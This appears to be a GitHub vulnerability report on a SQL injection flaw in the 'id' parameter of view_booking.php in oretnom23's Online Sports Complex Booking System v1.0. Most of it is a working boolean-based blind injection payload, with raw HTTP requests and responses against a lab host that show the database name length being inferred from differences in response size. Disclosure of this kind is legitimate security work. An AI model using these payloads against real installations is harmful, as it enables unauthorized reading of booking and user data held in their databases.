

main

...

bug_report / vendors / oretnom23 / Online-Sports-Complex-Booking-System / SQLi-8.md



debug601 Create SQLi-8.md

History

1 contributor

36 lines (24 sloc) | 1.46 KB

...

Online Sports Complex Booking System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html>

Vulnerability File: /scbs/admin/bookings/view_booking.php?id=

Vulnerability location: /scbs/admin/bookings/view_booking.php?id=, id

Current database name: scbs_db,length is 7

[+] Payload: /scbs/admin/bookings/view_booking.php?id=4%27%20and%20length(database())%20=7%20--+

```
GET /scbs/admin/bookings/view_booking.php?id=4%27%20and%20length(database())%20=7%20
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=gp584rjk4ugbjakmto03cu7pco
Connection: close
```

```
// Leak place ---> id
```

When length (database ()) = 6, Content-Length: 2952

Request

Raw Params Headers Hex

GET /scbs/admin/bookings/view_booking.php?id=4%27%20and%20length(database())%20=6%20--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=gp584rjk4ugbjakmto03cu7pco
Connection: close

Response

Raw Headers Hex HTML Render

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2022 03:41:37 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2952
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-footer{
display:none
}
</style>
<div class="container-fluid">
<fieldset class="border-bottom">

Load URL

Split URL

Execute

http://192.168.1.19/scbs/admin/bookings/view_booking.php?id=4' and length(database())=6 --+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

Facility Details

Facility Code

Name

Category

Booking Details

Ref. Code

Schedule

Warning: Undefined variable \$date_from in C:\xampp\htdocs\scbs\admin\bookings\view_booking.php on line 45

Warning: Undefined variable \$date_to in C:\xampp\htdocs\scbs\admin\bookings\view_booking.php on line 45

Warning: Undefined variable \$date_from in C:\xampp\htdocs\scbs\admin\bookings\view_booking.php on line 46

Jan 01, 1970

Status

When length (database ()) = 7, Content-Length: 2460

Request

Raw Params Headers Hex

GET /scbs/admin/bookings/view_booking.php?id=4%27%20and%20length(database())%20=7%20--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=gp584rjk4ugbjakmto03cu7pco
Connection: close

Response

Raw Headers Hex HTML Render

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2460
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-footer{
display:none
}
</style>
<div class="container-fluid">
<fieldset class="border-bottom">
<legend class="h5 text-muted"> Facility Details</legend>
<dt class="">Facility Code</dt>

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTF

Load URL

Split URL

Execute

http://192.168.1.19/scbs/admin/bookings/view_booking.php?id=4' and length(database()) =7 --+

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replace

Facility Details

Facility Code

202203-00001

Name

Indoor Basketball Court

Category

Basket Ball

Booking Details

Ref. Code

202203-00004

Schedule

Mar 28, 2022

Status

Cancelled

Close